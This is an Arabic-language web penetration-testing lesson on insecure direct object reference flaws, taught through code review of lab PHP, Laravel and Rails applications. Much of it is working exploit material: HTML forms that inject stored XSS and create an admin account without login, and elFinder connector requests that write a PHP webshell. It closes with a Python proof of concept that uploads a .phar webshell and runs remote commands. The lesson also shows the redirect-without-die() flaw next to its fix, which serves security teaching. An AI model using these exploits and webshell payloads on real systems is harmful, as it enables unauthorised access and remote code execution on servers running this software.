Lesson 3 : WebAppPen Insecure direct object references IDOR ( Code Review )

Abdulrahman
16 min readNov 2, 2021

--

بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله وبركاته

الدرس السابق :

معادلة الدرس السابقة كانت :

مدخل مستخدم + امر طباعة + عدم وجود فلتر = ثغرة

درس اليوم يتكلم عن اشهر ثغرة في وقتنا الحالي

Insecure direct object references

معادلة هذا الدرس :

مدخل مستخدم + قراءة او تعديل او اضافة + عدم وجود تحقق = ثغرة

محتويات الدرس :

Lab :

1-Lab-IDOR-Laravel
2-Lab-IDOR-php
3- College Management System (PHP)
4- AlchemyCMS (RubyOnRails)
5- write up +elfinder

مقدمة :

موضوع اليوم شيق لانه مثل الالغاز خصوصا في كتابة الاستغلال
سيتم شرح لثغرات
Insecure direct object references
اوبجكت غير محمي ما شفت ترجمة صحيحة غير هالمعنى وميديم
ما يدعم انجليزي وعربي لذلك ساكتفي بذكر اوبجكت غير محمي بالنسبة لثغرات
IDOR
ولاننا في الدرس السابق قمنا بتنصيب عدد من السكربتات ونفس هذه السكربتات
مصابة بنفس هذا النوع لذلك فضلت انه يتم استخدامها ايضا في هذا الدرس
مع ذكر سيناريو حقيقي

هدف الدرس :

استغلال عيوب في تصميم الويب ابلكيشن لصالح المهاجم باستغلال اوبجكت غير محمي

خطورة هذا النوع :

لايمكن للجدار الناري صد هذه الهجمات او معرفتها واصدار تنبيه عنها
وصعوبتها في الاكتشاف تكمن في انه يجب ان تفهم الية عمل السكربت لاستغلالها
لانه لايمكن لبرامج الفحص اكتشافها وبالنسبة للفحص اليدوي تحتاج الى كود رفيو
في بعض انواع هذه الثغرة وبعضها لاتحتاج كما سيتم شرحها في هذا الدرس

اولا لنتعرف على ثغرات
insecure direct object references

بكل سهولة هي امكانية المهاجم الوصول لبيانات غير مصرح له الوصول لها

مثلا اسمي عبدالرحمن ولدى بروفايل في موقع تويتر عند دخول اي شخص لحسابي
لايمكن عرض تغريداتي لان الحساب محمي من خيارات الخصوصية اذا وجد
المهاجم طريقة لعرض تغريدات حساب محمي بدون موافقته تعني هنا انه توجد ثغرة

لان الاشخاص المصرحين برؤية التغريدات فقط الاشخاص الذي وافق عليهم صاحب الحساب
اما المهاجم لم يصرح له صاحب الحساب لذا اذا وجد المهاجم طريقة لعرض هذه التغريدات
هنا تسمى ثغرات اوبجكت غير محمي

وهذا معادلتها :

مدخل مستخدم + قراءة او تعديل او اضافة + عدم وجود تحقق = ثغرة

واحتلت هذا الثغرة المرتبة الاولى في القائمة الجديدة

اكتشاف هذا النوع من الثغرات ايضا متشعب واماكن الاصابة ايضا كثيرة
مثال :
صفحة تسجيل الدخول
الرسائل الخاصة
عرض البروفايل
تعديل بروفايل
تعديل كلمة مرور
تعديل الايميل
الكوكيز خصوصا JWT
الخ

باختصار مثل ما ذكرت في الاعلى شئ غير مصرح للمهاجم تعديله او قراءته او حذفه
اذا استطاع تجاوز هذا التصريح اذا هيا ثغرة

هنا مثال بسيط عندي حساب بنكي يعرض رصيدي
عدلت رقم الحساب البنكي لحساب اخر استطعت رؤية رصيد
شخص اخر

قبل ما نبدأ لازم نتفق ان لها نوعين نوع متعلق
بAPI
ونوع ثاني متعلق بنفس طريقة البرمجة ومع الشرح ممكن تفهم المقصود
كلها نفس بعض اننا نعمل قراءة او حذف او اضافة
لكن جدا مختلفة في عملية الكود رفيو

ثغرة الاوبجكت الغير محمي يظن البعض انها من الثغرات الجديدة

وفقط المصابة فيه هو
API

وهذا غير صحيح بتاتا بعد قراءتك لهذا الدرس سيتغير مفهوم هذه الثغرة

بالنسبة لك

طبعا ما بتطرق لموضوع الكود رفيو لـ
api Or auth
جدا متشعب وماهو هدفنا في هذا الدورة

شخصيا افضل اكتشافها باستخدام اسلوب الصندوق الاسود اذا كانت
api
فهو الافضل من خلال تجارب شخصية بعدها ممكن تستخدم الصندوق الابيض

لكن اذا كانت في نفس اللغة البرمجية لازم كود رفيو لان صعب تكتب استغلال
لها طريقة اكتشافها ممكن تكون سهلة او صعبة الصعبة في الاغلب تكون في المكتبات المرافقة لمشروع
وفي هذا الدرس بحاول اوصل لكم فكرة كيف نكتب اكثر من استغلال
ل اوبجكت غير محمي لان اوقات يكون الميدلوير غير واضح
عند فحص السكربت هل هذا من صلاحية اليوزر فقط او من صلاحية الادمن
لذلك لتحديد هذه الاخطاء نستخدم الصندوق الرمادي اذا ما استوعبت للان ماهي مشكلة في التطبيق

بيتضح لك بشكل افضل

قبل ما نستعرض اللاب اعتقد كثيرين عند فحص موقع او هدف
لاحظ انه في بعض الاوقات استطاع استعراض لوحة التحكم بشكل جزئي
او انه استطاع رؤية بعض خيارات لوحة التحكم بدون تسجيل دخول
وهذا تعتبر ثغرة حرجة لكن تحتاج شروط لتنفيذها انك استطعت رؤية عناصر لوحة التحكم

بدون تسجيل دخول وبعدها تم تحويلك لصفحة تسجيل الدخول

اولا: لدينا لاب بسيط وهو ملف

php

لتنزيل الاب من هنا :

نفس ثغرة الاكسس من الدرس السابق لكن تم تعديل الكود بشكل مختلف
اذا حاولت تستعرض الملف سيتم تحويلك بشكل تلقائي
مثلا تحاول الوصول للملف

http://blabla.bla/admin/labxss.php

بيتم تحويلك بشكل الي الى

http://blabla.bla/admin/login.php

لانك غير مسجل الدخول

لتجاوز التحويل واكتشاف هذا النوع لدينا طريقتين
الاولى ايقاف المستعرض من اي تحويل لاي رابط او موقع
الثانية استخدام سطر الاوامر بالطريقة التالية :

curl “http://127.0.0.1/2/Lab-IDOR-Php.php"

وبيظهر لك السورس كود للصفحة بشكل كامل بدون ان يتم تحويلك

لنستعرض الان كود الصفحة لقراءة السورس كود

سبب هالثغرة ان المبرمج ما طلب ايقاف الكود بعد التحويل
باستخدام

die();

وليس شرط عدم استخدامها يدل على ثغرة فيه مبرمجين قبل ارسال اي طلب
من المستخدم كان
GET OR POST
يتاكد من الصلاحية اذا يملكها يتم ارسال الطلب
اذا لا لايتم ارسال الطلب

ملاحظة : هالنوع منتشر بكثرة في نظام الصلاحيات مثال اذا كان المستخدم زائر
يتم ايقاف الكود لكن اذا كان مستخدم يوزر يتم تحويله للصفحة الرئيسية في حال
حاول الدخول لصفحة الادمن لذلك عند اختبارها يفضل الدخول باكثر من صلاحية

ثانيا : عندنا لاب مبرمج بالارافيل

لتنزيل الاب من هنا :

برمجته بشكل سريع لاجل ايصال الفكرة فقط

وهنا نتكلم عن النوع الثاني
واغلبية الاصابة فيه تكون في
api
لكن ما يمنع انه يكون مصاب في سكربت عادي

اولا لنستعرض ملف الروات

اكتشافه دائما بالتلاعب بقيمة اي
id
وما نحتاج حتى قراءة السورس كود يمكن اكتشافه بسهولة
لذلك عندما ذكرت في البداية اننا نحتاج نقسمهم نوعين

نوع سهل ونوع صعب يحتاج كود رفيو فيه خصوصا في كتابة استغلال

والا اقصده بالضبط لنفرض عندنا موقع
فيه الصلاحيات التالية :

اوقات الاكشن فقط من صلاحية الادمن ويكون مصاب بثغرة
ان مثلا المحرر او مستخدم عادي له صلاحية يستخدم هذا الاكشن بسبب ثغرة
لكن المشكلة مافي احد يقدر يطلع على هذا الاكشن غير الادمن
يعني انت لو كنت مختبر اختراق او صائد مكافات
ما تقدر تكتشف هالاكشن او هذا العيب الا اذا كنت ادمن
لكن بالاخير تقدر تكتشف هالاكشن
لان هالاكشن مخفي عنك لكن لو دخلت بصلاحية ادمن وحفظت الاكشن بعدين دخلت

بصلاحية يوزر انت هنا عرفت طريق الاكشن وتقدر تستغلها
وبتكتشفها لنفرض الان يعني لو كنت مختبر اختراق او صائد مكافات

وجربت اكثر من صلاحية للبحث عن ثغرة اوبجكت غير محمي تستطيع اكتشافها

لكن النوع الثاني الا هو الصعب الذي لايمكن اكتشافها الا بكود رفيو لنفرض التالي:

المبرمج نسى ملف مثلا اسمه

http://127.0.0.1/wp/core/vendor/upload.php

او مثلا نسى مكتبة او اي صفحة نقدر نرسل لها اكشن بشكل مباشر
بدون المرور بلوحة التحكم

http://127.0.0.1/wp/admin/login.php

لو حاولنا نرسل اكشن عن طريق لوحة التحكم المبرمج حريص انه
يتاكد من الصلاحيات ويعمل ايقاف للكود يعني مقفل الثغرة في لوحة
التحكم لكن في ملف من الملفات مثلا نسي المبرمج يضيف هالحماية

في المكتبة او على الملف يعني لو عرفنا المسار نقدر نرسل اكشن

هنا تكمن قوة الكود رفيو اننا ممكن نرسل اكشن بشكل مباشر
لملف او مكتبة استخدمها المبرمج فيه برنامجه

او حتى اوقات تكون بسبب اعدادت من الفريم ورك الا برمج فيه المبرمج

لذلك نحنا نستغل هنا طرف ثالث باختصار ادخل على رابط المكتبة بشكل مباشر

وارسل لها الاكشن

http://127.0.0.1/wp/core/vendor/upload.php

بدون المرور بلوحة التحكم او اختبار السكربت نفسه وممكن نقول مافي ثغرة
لكن فيه ملف مخفي نقدر نرسل له اكشن يعني لو دخلت المسار ممكن تجد كلاس

او تجد ملف تقدر ترسل له اكشن لكن الصفحة بتكون بيضاء لان المبرمج استدعى

هذا الملف او الكلاس في لوحة التحكم لذلك نحنا نحتاج نقرء السورس كود لهذه المكتبة

او الملف لارسال له اكشن بصورة مباشرة بدون المرور بلوحة التحكم

وهذا من اكثر الثغرات شيوعا في الوقت الحالي

اتمنى وضحت الصورة

لذلك اولا لدينا هذا السكربت
College Management System

عند محاولتنا الذهاب لمسار الادمن يتم تحويلنا الى صفحة تسجيل الدخول

لنستعرض الملفات الموجودة في مسار الادمن والتحقق هل يمكن كسرها
ام لا

حاليا المبرمج عنده خطأ مثل المثال الاول الذي تم ذكره
وهذا من اكثر الاخطاء المنتشرة الموجودة في مسارات الادمن

تحقق انه اذا ما وافق الشرط بيتم تحويله لكن اذا ارسلت لنفس الصفحة
طلب
GET OR POST
بيتم قبوله

كيف حدثت هذه الثغرة
ببساطة المبرمج لم يخبر الصفحة ان تتوقف عن تنفيذ بقية الاكواد

اذا لم يتنفذ الشرط الصحيح يتوقف الكود لكن اذا الكود كمل تنفيذ نقدر نستغلها

الخطأ :

 <?php 
session_start();
if (!$_SESSION[“LoginAdmin”])
{
header(‘location:../login/login.php’);
}
require_once “../connection/connection.php”;
?>

الطريقة الصحيحة للكتابة كالتالي :

ايقاف الكود عن التنفيذ بعد عدم التحقق من الشرط

<?php 
session_start();
if (!$_SESSION[“LoginAdmin”])
{
header(‘location:../login/login.php’);
die();
}
require_once “../connection/connection.php”;
?>

هل هذا كافي لاستغلال الثغرة للاسف لا هنا فقط نقدر نطلع على المحتوى
لو استخدمنا الامر

curl “http://127.0.0.1/2/College-Management-System/admin/admin-index.php"

بيظهر لنا المحتوى لكن

طالما وجدنا ثغرة من هذا النوع الافضل اننا

نبحث عن طلب
GET OR POST
يمكن التحكم فيه بالصفحة

الصفحة مافيها اي مدخل
نستفيد منها

الموجود فقط عرض بيانات من قاعدة البيانات لكن نحن نحتاج مدخل لاستغلالها

الان في الدرس السابق وجدنا ثغرة
XSS Stored
لكن كانت في مسار الادمن وفعليا في الواقع مهما كانت ثغرة طالما تتطلب صلاحيات
الادمن فاستغلالها في الواقع صعب لكن طالما انه توجد ثغرة اخرى اوبجكت غير محمي

من المبرمج ونفس الملف
يمكننا من ارسال طلب
GET OR POST
نستطيع ربط هذه الاخطاء لتكوين ثغرة باسم
Stored Cross-Site Scripting (XSS) Unauthenticated

باختصار تم دمج نوعين من الثغرات

IDOR + XSS Stored = Stored Cross-Site Scripting (XSS) Unauthenticated

لنتاكد الان

نفس الخطأ المبرمج لم يوقف الكود عن التنفيذ بعد عدم صحة الشرط

تحققت الشروط الان نحتاج الى كتابة استغلال
كل شخص يكتب الاستغلال بالطريقة المفضلة
ولتسهيل هذا الدرس نستخدم نفس نموذج الطلب الموجود في الموقع

نتابع

ننسخ محتويات
form
ونلصقها في ملف جديد كالتالي :

كود الاستغلال لتجربته

<html lang=”en”>
<head>
<title>XSS</title>
</head>
<body class=”login-background”>
<!doctype html>
<html lang=”en”>
<head>
<meta charset=”utf-8"><! — css style goes here →
<link rel=”stylesheet” href=”https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity=”sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T” crossorigin=”anonymous”>
<! — css style go to end here →
<link rel=”stylesheet” href=”https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css">
</head>
<body>
<div class=”modal-dialog modal-lg”>
<div class=”modal-content”>
<div class=”modal-header bg-info text-white”>
<h4 class=”modal-title text-center”>Add Time Table</h4>
</div>
<div class=”modal-body”>
<form action=”http://127.0.0.1/2/College-Management-System/Admin/time-table.php" method=”post”>
<div class=”form-group”>
<div class=”formp”>
<label for=”exampleInputPassword1">day No:</label>
<input type=”text” name=”day” class=”form-control” value=”5">
</div>
</div>
</div>
<div class=”form-group”>
<div class=”formp”>
<label for=”exampleInputPassword1">subject_code No:</label>
<input type=”text” name=”subject_code” class=”form-control” value=”<svg/onload=print()>”>
</div>
</div>
<div class=”modal-footer”>
<input type=”submit” class=”btn btn-primary” name=”btn_save” value=”Save Data”>
<button type=”button” class=”btn btn-secondary” data-dismiss=”modal”>Close</button>
</div>
</form>
</div>
</div>

هل يمكن كتابة استغلال بطريقة اخرى في اي ملف مختلف
لنحاول الان اضافة ادمن جديد ولكن قبل الاضافة علينا ان نبحث اين يتم اضافة
ادمن او مستخدم ..الخ

اول خطوة ابحث عن الجدول في قاعدة البيانات والحقول المطلوبة لاضافة مستخدم

بعد معرفتنا للبيانات التي نحتاجها لاضافة مستخدم
علينا ان نبحث عن ملف فيه امر قاعدة بيانات
يضيف في هذا الجدول

الان نحتاج الى تحقق شرط ان فيه مدخل للمستخدم
بالاضافة عدم وجود
die() في بداية الصفحة

طبعا برمجيا ليس فقط هذه الدالة يمكن استخدامها يمكن ايضا استخدام
if
قبل ارسال طلب اذا تحقق ان له صلاحية ادمن يمكن ارسال طلب
POST OR GET
لكن في هذا السكربت كان التحقق ضعيف لنكمل

الان تحققت جميع الشروط

لنكتب استغلال مثل السابق باستخدام
form

ثم تعديله

كود الاستغلال :

<html lang=”en”>
<head>
<title>ADD Admin</title>
</head>
<body class=”login-background”>
<!doctype html>
<html lang=”en”>
<head>
<meta charset=”utf-8">
<! — css style goes here →
<link rel=”stylesheet” href=”https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity=”sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T” crossorigin=”anonymous”>
<! — css style go to end here →
<link rel=”stylesheet” href=”https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css">
</head>
<body>
<div class=”row m-3">
<div class=”col-md-12">
<form action=”http://127.0.0.1/2/College-Management-System/admin/Teacher.php" method=”POST” enctype=”multipart/form-data”>
<div class=”row mt-3">
<div>
<input type=”text” name=”email” value=”infosec_90@admin.com”>
<input type=”text” name=”password” value=”123456">
<input type=”text” name=”role” value=”Admin”>
<input type=”text” name=”account” value=”Activate”>
</div>
<div class=”modal-footer”>
<input type=”submit” class=”btn btn-primary px-5" name=”btn_save”>
</div>
</form>
</div>
</div>

للان ما تكملت عن موضوع ثغرات الابلود لكن ماهو محور حديثنا اليوم
ممكن تكون مستقبلا لكن بما انه داخل بموضوع ان الاوبجكت غير محمي
نحاول نكتب لها استغلال

16

نحاول نتتبع باستخدام اسم الفورم

17–1

17

نفس الفورم نسخ لصق مع تغيير ما يلزم
كود الاستغلال بيكون بالطريقة التالية :

<html lang=”en”>
<head>
<title>exploit — file upload</title>
</head>
<body class=”login-background”>
<!doctype html>
<html lang=”en”>
<head>
<meta charset=”utf-8"><! — css style goes here →<link rel=”stylesheet” href=”https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity=”sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T” crossorigin=”anonymous”><! — css style go to end here →
<link rel=”stylesheet” href=”https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css">
</head>
<body><div class=”row m-3">
<div class=”col-md-12">
<form action=”http://127.0.0.1/2/College-Management-System/Admin/student.php" method=”POST” enctype=”multipart/form-data”>
<div class=”col-md-4">
<div class=”form-group”>
<label for=”exampleInputPassword1">Your Profile Image:</label>
<input type=”file” name=”profile_image” placeholder=”Student Age” class=”form-control”>
</div>
</div>
</div>
<div class=”col-md-4">
<div class=”form-group”>
<label for=”exampleInputPassword1">Upload Matric/OLevel Certificate:</label>
<input type=”file” name=”matric_certificate” class=”form-control” value=”there is no image”>
</div>
</div>
</div>
<div class=”col-md-4">
<div class=”form-group”>
<label for=”exampleInputPassword1">Upload FA/ALevel Certificate:</label>
<input type=”file” name=”fa_certificate” class=”form-control” value=”there is no image” >
</div>
</div>
</div>
<div class=”col-md-4">
<div class=”form-group”>
<label for=”exampleInputPassword1">Upload BA Certificate:</label>
<input type=”file” value=”C:/xampp/htdocs/Imperial University/Images/no-image-available.jpg” name=”ba_certificate” class=”form-control” >
</div>
</div>
</div>
<div class=”modal-footer”>
<input type=”submit” class=”btn btn-primary px-5" name=”btn_save”>
</div>
</form>
</div>
</div>

طبعا وجدت الثغرة في اكثر من ملف ممكن تكون لك تمرين لكتابة استغلالات اخرى

مثلا استغلال لتغيير باسورد الادمن

الان ننتقل لسكربت
AlchemyCMS

الا تم تنصيبه مسبقا طالما ان السكربت مبرمج بمفهوم
MVC

طبعا احاول اننا نتتبع شئ سهل لايصال فكرة الدرس

ذكرت ببداية الدرس ان تتبع هالنوع من الثغرات اذا كان من الا تعتمد على
id
نقدر نتتبعها بسهولة عن طريق الصندوق الاسود واذا كان السكربت مبرمج بمفهوم
MVC
تتبع هالنوع جدا بيكون اسهل نبدا بملف
route
دائما يكون في مجلد الكونفق

هنا نفس ثغرة الابلود الا في الدرس السابق الا رفعنا فيها ملف بصيغة
svg

لكن هذا المرة نحاول نبحث عن اوبجكت غير محمي يستخرج لنا كل الملفات المرفوعة بالموقع

اذا ما كانت عندك خبرة برمجية تقدر تكتفى بمعرفة كيفية عمل هالملف
وتدخل تخمن على الاي دي كصندوق رمادي بعد ما استخدمنا قراءة السورس

اذا عندك خلفية برمجية ننتقل لجزء قراءة الكنترولر

ما تطرقت لموضوع الموديل لايصال الفكرة بطريقة اسهل
ممكن تطلع على مصادر لتعلم مفهوم
MVC
وهذا كانت من المتطلبات في الدرس الثاني

وهنا تقدر تتعلم اكثر عن موضوع
route

https://guides.rubyonrails.org/routing.html

كل فريم ورك له طريقة مختلفة لكن كلها متشابهة في طريقة التعريف

الان نتطرق لثغرات
IDOR

الغير مرئية الا تكون في مكتبات او اضافات وفيها مدخل يوزر
راح اذكر مثال حقيقي كيف اني استخدمت الصندوق الرمادي
في اختراق شركة طبعا هذا اكثر الاخطاء وجدتها في هذا السنة 2021

بنفس الطريقة وما وجدت احد يتكلم عنها باستهداف المكتبات الا عدد جدا قليل يكاد ما يذكر

حاولت استهداف السكربت بشكل مباشر

http://blabla.com

كل السكربتات كانت لوحات التحكم كانت تطلب يوزرنيم وباسورد وكان الهدف اختبار اختراق لشركة والشرط
انه صندوق اسود بحت وما كنت اعرف من الهدف الا اسم الشركة فقط

تقريبا كل المسارات تطلب تسجيل دخول ويتم تحويلي على

http://blabla.com/login.php

لكن بعد عمل عرض مصدر كان فيه مسارعادي لمكتبات الموقع

http://blabla.com/lib/js/jquery.js

كمختبر اختراق او صائد ثغرات كل شخص عنده ورد لست خاصة فيه
فيها مسارات حساسة تستفيد منها باستخدام عدة ادوات للتخمين
بعد مرحلة من حياتك بتكون عندك ورد لست خاصة فيك مختلفة عن اغلبية
صائدي المكأفات بتبحث عن مكتبات يستخدمها هذا السكربت او الموقع
كطرف ثالث باختصار ورد لست تحتوي مكتبات او اضافات معظم المبرمجين يستخدمونها
كمثال استخدام مكتب جاكوري او بوتسراب وغيرها

بعد التخمين وجدت هذا المسار

http://blabla.com/lib/elFinder/

يتم استخدام
elFinder

الان نبحث عن هذا المكتبة في قت هب

نتبع خطوات التثبيت الموجودة

Builds (compressed)
Download and unzip one of the builds below to your PHP server
Rename /php/connector.minimal.php-dist to /php/connector.minimal.php
Load /elfinder.html in your browser to run elFinder
Source (uncompressed)
Clone this repository to your PHP server
$ git clone https://github.com/Studio-42/elFinder.git
Rename /php/connector.minimal.php-dist to /php/connector.minimal.php
Load /elfinder.src.html in your browser to run elFinder
Installer
Setup elFinder 2.1.x nightly with Composer

قبل ما نبدا نجمع اسماء الملفات والمسارات في ملف جديد مثال

.
├── .tmp
│ └── .htaccess
├── composer.json
├── composer.lock
├── composer.phar
├── connector.php
├── css -> ./vendor/studio-42/elfinder/css
├── files
│ └── .trash
├── img -> ./vendor/studio-42/elfinder/img
├── index.html
├── js -> ./vendor/studio-42/elfinder/js
├── main.js
├── sounds -> ./vendor/studio-42/elfinder/sounds
└── vendor
├── .htaccess
├── autoload.php
├── composer
│ ├── ClassLoader.php
│ ├── LICENSE
│ ├── autoload_classmap.php
│ ├── autoload_namespaces.php
│ ├── autoload_psr4.php
│ ├── autoload_real.php
│ ├── include_paths.php
│ └── installed.json
└── studio-42
└── elfinder

ونخمن مره ثانية على المكتبة باداءة تخمين هل المسارات كلها موجودة او لا

بعد التخمين وجدت بعض المسارات والملفات للاسف فيه ملفات غير موجودة
طبعا مهم اني اعرف اصدار المكتبة احاول بشكل يدوي او اني ابحث عن اصدار اقدم
واخمن لحد ما اجد تطابق لكل الملفات الموجودة وبعد جهد وتخمين لاكثر من مرة
عرفت الاصدار المستخدم وكان الاصدار تحت الرقم 2.0.4 بعدين عرفت ان سبب استخدام
هالاصدار القديم مكتبة اخرى مشهورة جدا تستخدمه دائما هالمشاكل بسبب
ان صاحب الفريم ورك او السكربت يركز على تطوير سكربته الخاص ويعتمد
على مكتبات بدون الاهتمام في تحديثها

الان نثبتها على السيرفر المحلي

رابط تحميل السكربت :

https://codeload.github.com/Studio-42/elFinder/zip/2.0.4

ونفك الضغط في مسار السيرفر الشخصي لاختبارها

وجدت هذا المسار في الهدف ندخل ونحلل الملفات الا فيه بشكل يدوي

http://blabla.com/lib/elFinder/php

اول خطوة نتاكد على فيه تحقق او لا

الان نبدا نتتبع الكود للبحث عن مدخل مستخدم لاستغلاله

لو كملنا نتتبع

target
بحتاج درس ثاني لاجل نخلص لان بعدها تحتاج تتبع كلاس واكثر من فنكشن
في ملف
elFinderVolumeDriver.class.php
او تعيد كتابة الفنكشن كلها في ملف خارجي لاجل اختبارها
بالاخير الناتج كان
target=l1_

بجرب على هدفي الحقيقي هل تعمل ام لاتعمل لان ممكن المبرمج يكون اضاف صلاحيات

او ان الملف صلاحيته مختلفة وكانت النتيجة

وهنا خطأ ثاني في المكتبة يستعرض لك الملفات

طبعا هذا وانا اكتب الدرس اكتشفت انها تشتغل ايضا في اخر اصدار

نرجع الان لهدفنا

استغلال رفع ملف

اول خطوة انشاء ملف

elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name=webshell.php

بعدين نحقن الكود باضافة هاش الملف

/elFinder/php/connector.minimal.php?cmd=put&content=<?php echo $_GET[0];?>&target=l1_L1x3ZWJzaGVsbC5waHA

تم بنجاح

وهذا ثغرة في اخر اصدار

بتواجه مشكلة في اضافة وسوم البي اتش بي

تخطيها بالطريقة التالية:

<<<<?PhP

وفيه ثغرة بكل الاصدارات ايضا ماعدا الاصدار الاخير

2.1.59

وهي ترفع ملف

phar

وهذا الاستغلال

Python POC:import http.client, urllib.parse,sys,re
from pwn import *
import pwnlib.util.web
Author="Ashok Chand"
print("Author: ",Author)
def main():
if len(sys.argv)==1:
print("Usage: python3 elfinder_2.1.57_exploit.py <ip>")
sys.exit(0)
host=sys.argv[1]
headers={"Host":host}
connect=http.client.HTTPConnection(host)
connect.request("GET","/elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name=webshell.phar")
response=connect.getresponse()
x=response.read()
file_hash=re.findall(b'l1_[A-Za-z0-9]{10,18}',x)
for h in file_hash:
hash_file=h.decode()
connect.request("GET","/elFinder/php/connector.minimal.php?cmd=put&content=<?='';system($_GET[0]);?>&target="+hash_file)
while True:
cmd=raw_input("cmd>")
print(cmd)
url=f"http://{host}/elFinder/files/webshell.phar?0={cmd.decode()}"
res=wget(url, timeout=20)
print(res.decode())
if __name__=="__main__":
main()

اتمنى الان وصلت طرق اكتشاف ثغرات
IDOR

وانها ماهي محصورة على
API
او فقط التلاعب ب
ID

لها عدة طرق بالنهاية تعريفها جدا بسيط

مدخل مستخدم + قراءة او تعديل او اضافة + عدم وجود تحقق = ثغرة

نهاية هذا الدرس لا ارجوا الا دعوة منكم في ظاهر الغيب

--

--

No responses yet